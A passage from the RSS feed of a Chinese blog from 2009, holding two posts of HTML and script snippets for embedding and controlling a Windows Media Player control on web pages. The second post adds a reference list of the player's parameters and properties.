onClick=&quot;setRate(0.8);&quot;&gt;较慢&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;setRate(1);&quot;&gt;正常&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(mediaRate);&quot;&gt;查看速度&lt;/span&gt; &lt;br&gt; &lt;b&gt;播放声音调整&lt;/b&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Mute=exchangeValue(document.MediaPlayer1.Mute);&quot;&gt;静音/取消&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.Mute);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Volume=-1&quot;&gt;最大&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Volume=-9999&quot;&gt;最小&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Volume=-180&quot;&gt;默认&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Volume=-259&quot;&gt;中大&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Volume=-399&quot;&gt;中等&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Volume=-999&quot;&gt;中小&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Volume=-1599&quot;&gt;小&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;addVolume(100);&quot;&gt;加大音量&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;addVolume(-100);&quot;&gt;减少音量&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.Volume);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;b&gt;播放界面控制&lt;/b&gt;&lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.ShowCaptioning=exchangeValue(document.MediaPlayer1.ShowCaptioning);&quot;&gt;显示/隐藏字幕&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.ShowCaptioning);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.ShowControls=exchangeValue(document.MediaPlayer1.ShowControls);&quot;&gt;显示/隐藏播放控制&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.ShowControls);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.ShowAudioControls=exchangeValue(document.MediaPlayer1.ShowAudioControls);&quot;&gt;显示/隐藏音量控制&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.ShowAudioControls);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.ShowDisplay=exchangeValue(document.MediaPlayer1.ShowDisplay);&quot;&gt;显示/隐藏节日信息&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.ShowDisplay);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.ShowGotoBar=exchangeValue(document.MediaPlayer1.ShowGotoBar);&quot;&gt;显示/隐藏GOTOBAR&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.ShowGotoBar);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.ShowPositionControls=exchangeValue(document.MediaPlayer1.ShowPositionControls);&quot;&gt;显示/隐藏位置控制&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.ShowPositionControls);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.ShowStatusBar=exchangeValue(document.MediaPlayer1.ShowStatusBar);&quot;&gt;显示/隐藏播放信息&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.ShowStatusBar);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.ShowTracker=exchangeValue(document.MediaPlayer1.ShowTracker);&quot;&gt;显示/隐藏播放跟踪条&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.ShowTracker);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;b&gt;声道切换&lt;/b&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Balance=-9640;&quot;&gt;左声道&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Balance=9640;&quot;&gt;右声道&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.Balance=0;&quot;&gt;左右平衡&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.Balance);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;b&gt;视频窗口大小&lt;/b&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.DisplaySize=1;&quot;&gt;50%&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.DisplaySize=0;&quot;&gt;100%&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.DisplaySize=2;&quot;&gt;200%&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.DisplaySize=3;&quot;&gt;全屏&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.DisplaySize);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;b&gt;播放进度控制&lt;/b&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.CurrentPosition=0;&quot;&gt;回到开始&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;addCurrentPosition(60);&quot;&gt;前进一分钟&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;addCurrentPosition(-60);&quot;&gt;后退一分钟&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.CurrentPosition=99999;&quot;&gt;到最后&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.CurrentPosition);&quot;&gt;查看&lt;/span&gt; &lt;br&gt; &lt;b&gt;选择伴音&lt;/b&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.SAMIFileName='&lt;a href=&quot;http://ok.xaonline.com/down/&quot; target=&quot;_blank&quot;&gt;http://ok.xaonline.com/down/&lt;/a&gt;华人男歌手/周杰伦/暗号.mp3';&quot;&gt;暗号&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;document.MediaPlayer1.SAMIFileName='';&quot;&gt;无&lt;/span&gt; &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.SAMIFileName);&quot;&gt;查看&lt;/span&gt; (注意不能马上生效,点击后需要再重新播放歌曲) &lt;span style=&quot;cursor:hand&quot; onClick=&quot;alert(document.MediaPlayer1.maxlength);&quot;&gt;查看&lt;/span&gt; &lt;script language=vbscript&gt; for each obj in document.MediaPlayer1.all messagebox(obj) next &lt;/script&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
<br>
银灰面板
<div class="UBBPanel">
<div class="UBBTitle"><img style="margin: 0px 2px -3px 0px" src="http://drler.net/images/html.gif"> HTML代码</div>
<div class="UBBContent">&lt;embed src=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot; width=&quot;300&quot; height=&quot;45&quot; loop=&quot;-1&quot; autostart=&quot;true&quot;&gt;&lt;/EMBED&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
</div>
<br>
<img src="http://photo.hexun.com/p/2005/1116/5841/b_334ABEF8921AD6DB.jpg" border="0"><br>
灰白面板
<div class="UBBPanel">
<div class="UBBTitle"><img style="margin: 0px 2px -3px 0px" src="http://drler.net/images/html.gif"> HTML代码</div>
<div class="UBBContent">&lt;embed style=&quot;FILTER: Gray()&quot; src=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot; width=&quot;300&quot; height=&quot;45&quot; loop=&quot;-1&quot; autostart=&quot;true&quot;&gt;&lt;/EMBED&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
</div>
<br>
<img src="http://photo.hexun.com/p/2005/1119/5970/b_BBC2F3E8E454D41B.jpg" border="0"><br>
棕色面板
<div class="UBBPanel">
<div class="UBBTitle"><img style="margin: 0px 2px -3px 0px" src="http://drler.net/images/html.gif"> HTML代码</div>
<div class="UBBContent">&lt;embed style=&quot;FILTER: invert()&quot; src=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot; width=300 height=45 loop=&quot;-1&quot; autostart=&quot;true&quot;&gt;&lt;/EMBED&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
</div>
<br>
<img src="http://photo.hexun.com/p/2005/1116/5842/b_13DFFA73EBE24CED.jpg" border="0"><br>
黑色面板
<div class="UBBPanel">
<div class="UBBTitle"><img style="margin: 0px 2px -3px 0px" src="http://drler.net/images/html.gif"> HTML代码</div>
<div class="UBBContent">&lt;embed style=&quot;FILTER: xray()&quot; src=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot; width=300 height=45 loop=&quot;-1&quot; autostart=&quot;true&quot;&gt;&lt;/EMBED&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
</div>
<br>
<img src="http://photo.hexun.com/p/2005/1116/5842/b_3EBCA05E8C2F32DC.jpg" border="0"><br>
（带显示文件播放信息）
<div class="UBBPanel">
<div class="UBBTitle"><img style="margin: 0px 2px -3px 0px" src="http://drler.net/images/html.gif"> HTML代码</div>
<div class="UBBContent">&lt;embed src=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot; width=300 height=69 type=application/x-mplayer2 loop=&quot;-1&quot; showcontrols=&quot;1&quot; ShowDisplay=&quot;0&quot; ShowStatusBar=&quot;1&quot; autostart=&quot;1&quot;&gt;&lt;/EMBED&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
</div>
<br>
<img src="http://photo.hexun.com/p/2005/1116/5841/b_E22B777E234606A9.jpg" border="0"><br>
<img src="http://photo.hexun.com/p/2005/1116/5844/b_05E7876B93397719.jpg" border="0"><br>
灰白色面板
<div class="UBBPanel">
<div class="UBBTitle"><img style="margin: 0px 2px -3px 0px" src="http://drler.net/images/html.gif"> HTML代码</div>
<div class="UBBContent">&lt;embed style=&quot;FILTER: Gray()&quot; src=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot; width=300 height=69 type=application/x-mplayer2 loop=&quot;-1&quot; showcontrols=&quot;1&quot; ShowDisplay=&quot;0&quot; ShowStatusBar=&quot;1&quot; autostart=&quot;1&quot;&gt;&lt;/EMBED&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
</div>
<br>
<img src="http://photo.hexun.com/p/2005/1116/5843/b_C917C552519F2DF6.jpg" border="0"><br>
<img src="http://photo.hexun.com/p/2005/1116/5844/b_F00A3A88AA8836B6.jpg" border="0"><br>
(显示文件标签信息)
<div class="UBBPanel">
<div class="UBBTitle"><img style="margin: 0px 2px -3px 0px" src="http://drler.net/images/html.gif"> HTML代码</div>
<div class="UBBContent">&lt;embed src=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot; loop=&quot;-1&quot; width=300 height=140 balance=&quot;true&quot; showpositioncontrols=&quot;true&quot; showtracker=&quot;true&quot; showaudiocontrols=&quot;true&quot; showcontrols=&quot;true&quot; showstatusbar=&quot;true&quot; showdisplay=&quot;true&quot; displaysize=&quot;0&quot; volume=&quot;100&quot; autosize=&quot;true&quot; autostart=&quot;true&quot; animationatstart=&quot;true&quot; transparentatstart=&quot;true&quot;&gt;&lt;/EMBED&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
</div>
<br>
<img src="http://photo.hexun.com/p/2005/1116/5841/b_3216FFF6E858DDEF.jpg" border="0"><br>
<img src="http://photo.hexun.com/p/2005/1119/5964/b_E2B46E055068C8DC.jpg" border="0"><br>
（有图像的 media 播放器）
<div class="UBBPanel">
<div class="UBBTitle"><img style="margin: 0px 2px -3px 0px" src="http://drler.net/images/html.gif"> HTML代码</div>
<div class="UBBContent">&lt;param name=&quot;volume&quot; value=&quot;100&quot;&gt;是调整默认音量的选项，100是最大音量！ &lt;object id=&quot;mPlayer1&quot; width=300 height=300 classid=&quot;CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6&quot;&gt; &lt;param name=&quot;URL&quot; value=&quot;&lt;a href=&quot;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&quot; target=&quot;_blank&quot;&gt;http://211.94.206.72/bbs/UploadFile/2006-4/20064302174313920.mp3&lt;/a&gt;&quot;&gt; &lt;param name=&quot;rate&quot; value=&quot;1&quot;&gt; &lt;param name=&quot;balance&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;currentPosition&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;defaultFrame&quot; value&gt; &lt;param name=&quot;playCount&quot; value=&quot;100&quot;&gt; &lt;param name=&quot;autoStart&quot; value=&quot;1&quot;&gt; &lt;param name=&quot;currentMarker&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;invokeURLs&quot; value=&quot;1&quot;&gt; &lt;param name=&quot;baseURL&quot; value&gt; &lt;param name=&quot;volume&quot; value=&quot;100&quot;&gt; &lt;param name=&quot;mute&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;uiMode&quot; value=&quot;full&quot;&gt; &lt;param name=&quot;stretchToFit&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;windowlessVideo&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;enabled&quot; value=&quot;1&quot;&gt; &lt;param name=&quot;enableContextMenu&quot; value=&quot;1&quot;&gt; &lt;param name=&quot;fullScreen&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;SAMIStyle&quot; value&gt; &lt;param name=&quot;SAMILang&quot; value&gt; &lt;param name=&quot;SAMIFilename&quot; value&gt; &lt;param name=&quot;captioningID&quot; value&gt; &lt;param name=&quot;enableErrorDialogs&quot; value=&quot;0&quot;&gt; &lt;param name=&quot;_cx&quot; value=&quot;7779&quot;&gt; &lt;param name=&quot;_cy&quot; value=&quot;1693&quot;&gt; &lt;/object&gt; <br>
<br>
[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
</div>
<br>
<img src="http://photo.hexun.com/p/2005/1119/5969/b_17019EDFD07E1E7F.jpg" border="0"><br>
<img src="http://photo.hexun.com/p/2005/1119/5969/b_AA3F0F34CD75EBDA.jpg" border="0">  
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/a67ee34bd4f65ef883025c4e.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月19日 星期四  下午 12:04</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/a67ee34bd4f65ef883025c4e.html</guid>
</item>

<item>
        <title><![CDATA[js控制media player参数]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/9e6d7b2abebc3d305243c142.html]]></link>
        <description><![CDATA[
		
		<div class="code">&lt;object id=&quot;player&quot; height=&quot;64&quot; width=&quot;260&quot; classid=&quot;CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6&quot;&gt; <br>
&lt;param NAME=&quot;AutoStart&quot; VALUE=&quot;-1&quot;&gt; <br>
&lt;!--是否自动播放--&gt; <br>
&lt;param NAME=&quot;Balance&quot; VALUE=&quot;0&quot;&gt; <br>
&lt;!--调整左右声道平衡,同上面旧播放器代码--&gt; <br>
&lt;param name=&quot;enabled&quot; value=&quot;-1&quot;&gt; <br>
&lt;!--播放器是否可人为控制--&gt; <br>
&lt;param NAME=&quot;EnableContextMenu&quot; VALUE=&quot;-1&quot;&gt; <br>
&lt;!--是否启用上下文菜单--&gt; <br>
&lt;param NAME=&quot;url&quot; value=&quot;/blog/1.wma&quot;&gt; <br>
&lt;!--播放的文件地址--&gt; <br>
&lt;param NAME=&quot;PlayCount&quot; VALUE=&quot;1&quot;&gt; <br>
&lt;!--播放次数控制,为整数--&gt; <br>
&lt;param name=&quot;rate&quot; value=&quot;1&quot;&gt; <br>
&lt;!--播放速率控制,1为正常,允许小数,1.0-2.0--&gt; <br>
&lt;param name=&quot;currentPosition&quot; value=&quot;0&quot;&gt; <br>
&lt;!--控件设置:当前位置--&gt; <br>
&lt;param name=&quot;currentMarker&quot; value=&quot;0&quot;&gt; <br>
&lt;!--控件设置:当前标记--&gt; <br>
&lt;param name=&quot;defaultFrame&quot; value=&quot;&quot;&gt; <br>
&lt;!--显示默认框架--&gt; <br>
&lt;param name=&quot;invokeURLs&quot; value=&quot;0&quot;&gt; <br>
&lt;!--脚本命令设置:是否调用URL--&gt; <br>
&lt;param name=&quot;baseURL&quot; value=&quot;&quot;&gt; <br>
&lt;!--脚本命令设置:被调用的URL--&gt; <br>
&lt;param name=&quot;stretchToFit&quot; value=&quot;0&quot;&gt; <br>
&lt;!--是否按比例伸展--&gt; <br>
&lt;param name=&quot;volume&quot; value=&quot;50&quot;&gt; <br>
&lt;!--默认声音大小0%-100%,50则为50%--&gt; <br>
&lt;param name=&quot;mute&quot; value=&quot;0&quot;&gt; <br>
&lt;!--是否静音--&gt; <br>
&lt;param name=&quot;uiMode&quot; value=&quot;mini&quot;&gt; <br>
&lt;!--播放器显示模式:Full显示全部;mini最简化;None不显示播放控制,只显示视频窗口;invisible全部不显示--&gt; <br>
&lt;param name=&quot;windowlessVideo&quot; value=&quot;0&quot;&gt; <br>
&lt;!--如果是0可以允许全屏,否则只能在窗口中查看--&gt; <br>
&lt;param name=&quot;fullScreen&quot; value=&quot;0&quot;&gt; <br>
&lt;!--开始播放是否自动全屏--&gt; <br>
&lt;param name=&quot;enableErrorDialogs&quot; value=&quot;-1&quot;&gt; <br>
&lt;!--是否启用错误提示报告--&gt; <br>
&lt;param name=&quot;SAMIStyle&quot; value&gt; <br>
&lt;!--SAMI样式--&gt; <br>
&lt;param name=&quot;SAMILang&quot; value&gt; <br>
&lt;!--SAMI语言--&gt; <br>
&lt;param name=&quot;SAMIFilename&quot; value&gt; <br>
&lt;!--字幕ID--&gt; <br>
&lt;/object&gt;</div>
<strong>常用的方法和属性：</strong>
<div class="code">//基本属性<br>
URL:String; 指定媒体位置，本机或网络地址<br>
uiMode:String; 播放器界面模式，可为Full, Mini, None, Invisible<br>
playState:integer; 播放状态，1=停止，2=暂停，3=播放，6=正在缓冲，9=正在连接，10=准备就绪<br>
enableContextMenu:Boolean; 启用/禁用右键菜单（也是简单的防盗链方法）<br>
fullScreen:boolean; 是否全屏显示<br>
<br>
//播放器控制属性<br>
controls.play; 播放<br>
controls.pause; 暂停<br>
controls.stop; 停止<br>
controls.currentPosition:double; 当前进度<br>
controls.currentPositionString:string; 当前进度，字符串格式。如&ldquo;00:23&rdquo;<br>
controls.fastForward; 快进<br>
controls.fastReverse; 快退<br>
controls.next; 下一曲<br>
controls.previous; 上一曲<br>
*注：上一曲和下一曲属性一般不能使用，因为这种功能是对一个播放列表气作用的，而对于新版本的播放器，js脚本一般没有权限去新建和修改播放列表的。只能自己去设计一个播放列表，自己去修改url属性去选曲。<br>
<br>
//播放器基本属性<br>
settings.volume:integer; 音量，0-100<br>
settings.autoStart:Boolean; 是否自动播放<br>
settings.mute:Boolean; 是否静音<br>
settings.playCount:integer; 播放次数<br>
<br>
//当前播放媒体的属性<br>
currentMedia.duration:double; 媒体总长度<br>
currentMedia.durationString:string; 媒体总长度，字符串格式。如&ldquo;03:24&rdquo;<br>
currentMedia.getItemInfo(const string); 获取当前媒体信息&quot;Title&quot;=媒体标题，&quot;Author&quot;=艺术家，&quot;Copyright&quot;=版权信息，&quot;Description&quot;=媒体内容描述，&quot;Duration&quot;=持续时间（秒），&quot;FileSize&quot;=文件大小，&quot;FileType&quot;=文件类型，&quot;sourceURL&quot;=原始地址<br>
currentMedia.setItemInfo(const string); 通过属性名设置媒体信息<br>
currentMedia.name:string; 同 currentMedia.getItemInfo(&quot;Title&quot;)<br>
[currentPlaylist] wmp.currentPlaylist //当前播放列表属性<br>
currentPlaylist.count:integer; 当前播放列表所包含媒体数<br>
currentPlaylist.Item[integer]; 获取或设置指定项目媒体信息，其子属性同wmp.currentMedia<br>
<br>
//最后是一些很少用到的参数和属性<br>
AllowChangeDisplaySize 返回或设置最终用户是否能设置显示尺寸(逻辑型)<br>
AllowScan 返回或设置是否允许扫描(逻辑型)<br>
AnimationAtStart 返回或设置控件开始播放之前是否先播放一个动画序列(逻辑型)<br>
AudioStream 返回或设置音频流的编号(用于多音频流的剪辑，默认为-1)(长整型)<br>
AutoRewind 返回或设置媒体文件播放完毕后是否自动回绕(逻辑型)<br>
AutoSize 返回或设置是否自动调整控件大小来适应载入的媒体(逻辑型)<br>
AutoStart 返回或设置在载入媒体文件之后是否自动开始播放(逻辑型)<br>
Balance 返回或设置指定立体声媒体文件的播放声道(-10000为左声道，10000为右声道，0为立体声)(长整型)<br>
Bandwidth 返回或设置当前文件的带宽(长整型)<br>
BaseURL 返回基本的 HTTP URL(字符串)<br>
BufferingCount 返回媒体文件回放时缓冲的总时间(长整型)<br>
BufferingProgress 返回缓冲完成的百分比(长整型)<br>
BufferingTime 返回缓冲的时间(双精度型)<br>
CanPreview 返回或设置当前显示的剪辑是能否被预览(逻辑型)<br>
CanScan 返回或设置当前文件是否支持快进或快退(逻辑型)<br>
CanSeek 返回或设置当前文件是否能搜索并定位到某个时间(逻辑型)<br>
CanSeekToMarkers 返回或设置文件是否支持搜索到标签(逻辑型)<br>
CaptioningID 返回在标题中显示的帧或控件的名称(字符串)<br>
ChannelDescription 返回电台的描述(字符串)<br>
ChannelName 返回电台的名称(字符串)<br>
ChannelURL 返回电台的元文件的位置(字符串)<br>
ClickToPlay 返回或设置是否可以通过点击图像暂停或播放剪辑(逻辑型)<br>
ClientID 返回客户端唯一的标识符(字符串)<br>
CodecCount 返回文件使用的可安装的 codecs 的个数(长整型)<br>
ContactAddress 返回电台的联系地址(字符串)<br>
ContactEmail 返回电台的联系电子邮件地址(字符串)<br>
ContactPhone 返回电台的联系电话(字符串)<br>
CreationDate 返回剪辑的创建日期(日期型)<br>
CurrentMarker 返回或设置当前书签号码(长整型)<br>
CurrentPosition 返回或设置剪辑的当前位置(双精度型)<br>
CursorType 返回或设置指针类型(长整型)<br>
DefaultFrame 返回或设置控件的默认目标 Http 帧(字符串)<br>
DisplayBackColor 返回或设置显示面板的背景色(OLE_COLOR 值)<br>
DisplayForeColor 返回或设置显示面板的前景色(OLE_COLOR 值)<br>
DisplayMode 返回或设置显示面板是否用秒或帧的形式显示当前位置(MPDisplayModeConstants 值)<br>
DisplaySize 返回或设置图像显示窗口的大小(MPDisplaySizeConstant 值)<br>
Duration 返回或设置剪辑剪辑的播放时间(双精度型)<br>
EnableContextMenu 返回或设置是否允许使用上下文菜单(逻辑型)<br>
Enabled 返回或设置控件是否可用(逻辑型)<br>
EnableFullScreenControls 返回或设置全屏幕控制是否可用(逻辑型)<br>
EnablePositionControls 返回或设置位置控制是否可用(逻辑型)<br>
EnableTracker 返回或设置搜索栏控制是否可用(逻辑型)<br>
ErrorCode 返回当前错误代码(长整型)<br>
ErrorCorrection 返回当前剪辑的错误修正类型(长整型)<br>
ErrorDescription 返回当前错误的描述(字符串)<br>
FileName 返回或设置要播放的剪辑的文件名称(字符串)<br>
HasError 返回控件是否发生错误(逻辑型)<br>
HasMultipleItems 返回或设置控件是否包含某些多重项目的内容(逻辑型)<br>
ImageSourceHeight 返回或设置当前剪辑的原始图像高度(长整型)<br>
ImageSourceWidth 返回或设置当前剪辑的原始图像宽度(长整型)<br>
InvokeURLs 返回或设置 URL 是否自动发送请求(逻辑型)<br>
IsBroadcast 返回或设置源是否进行广播(逻辑型)<br>
IsDurationValid 返回或设置持续时间值是否有效(逻辑型)<br>
Language 返回或设置用于本地化语言支持的当前区域语言(长整型)<br>
LostPackets 返回丢失的数据包数量(长整型)<br>
MarkerCount 返回文件书签的数量(长整型)<br>
Mute 返回或设置控件是否播放声音(逻辑型)<br>
OpenState 返回控件的内容源状态(长整型)<br>
PlayCount 返回或设置一个剪辑播放的次数(长整型)<br>
PlayState 返回控件的当前操作状态(长整型)<br>
PreviewMode 返回或设置控件是否处在预览模式(逻辑型)<br>
Rate 返回或设置回放帧频(双精度型)<br>
ReadyState 返回控件是否准备就绪(ReadyStateConstant 值)<br>
ReceivedPackets 返回已接收到的数据包的数量(长整型)<br>
ReceptionQuality 返回最后 30 秒接收到的数据包的百分比(长整型)<br>
RecoveredPackets 返回已转换的数据包的数量(长整型)<br>
SAMIFileName 返回或设置 closed-captioning 文件名(字符串)<br>
SAMILang 返回或设置 closed captioning 语言(字符串)<br>
SAMIStyle 返回或设置 closed captioning 风格(字符串)<br>
SelectionEnd 返回或设置流的结束位置(双精度型)<br>
SelectionStart 返回或设置流的起始位置(双精度型)<br>
SendErrorEvents 返回或设置控件是否发送错误事件(逻辑型)<br>
SendKeyboardEvents 返回或设置控件是否发送键盘事件(逻辑型)<br>
SendMouseClickEvents 返回或设置控件是否发送鼠标单击事件(逻辑型)<br>
SendMouseMoveEvents 返回或设置控件是否发送鼠标移动事件(逻辑型)<br>
SendOpenStateChangeEvents 返回或设置控件是否发送打开状态改变事件(逻辑型)<br>
SendPlayStateChangeEvents 返回或设置控件是否发送播放状态改变事件(逻辑型)<br>
SendWarningEvents 返回或设置控件是否发送警告事件(逻辑型)<br>
ShowAudioControls 返回或设置是否显示音频控制(逻辑型)<br>
ShowCaptioning 返回或设置是否显示字幕(逻辑型)<br>
ShowControls 返回或设置控制面板是否可见(逻辑型)<br>
ShowDisplay 返回或设置是否显示显示面板(逻辑型)<br>
ShowGotoBar 返回或设置是否显示跳转栏(逻辑型)<br>
ShowPositionControls 返回或设置是否显示位置控制(逻辑型)<br>
ShowStatusBar 返回或设置是否显示状态栏(逻辑型)<br>
ShowTracker 返回或设置是否显示搜索栏(逻辑型)<br>
SourceLink 返回内容文件的路径(字符串)<br>
SourceProtocol 返回用于接收数据的协议(长整型)<br>
StreamCount 返回媒体帧的数量(长整型)<br>
TransparentAtStart 返回或设置在开始播放之前和停止之后控件是否透明(逻辑型)<br>
VideoBorder3D 返回或设置视频边框是否显示为 3D 效果(逻辑型)<br>
VideoBorderColor 返回或设置视频边框的颜色(OLE_颜色)<br>
VideoBorderWidth 返回或设置视频边框的宽度(长整型)<br>
Volume 返回或设置音量(长整型)</div> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%CA%D5%B2%D8%A1%F4%D7%DB%BA%CF%A1%FE">〓收藏◆综合〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/9e6d7b2abebc3d305243c142.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月19日 星期四  上午 11:55</pubDate>
        <category><![CDATA[〓收藏◆综合〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/9e6d7b2abebc3d305243c142.html</guid>
</item>

<item>
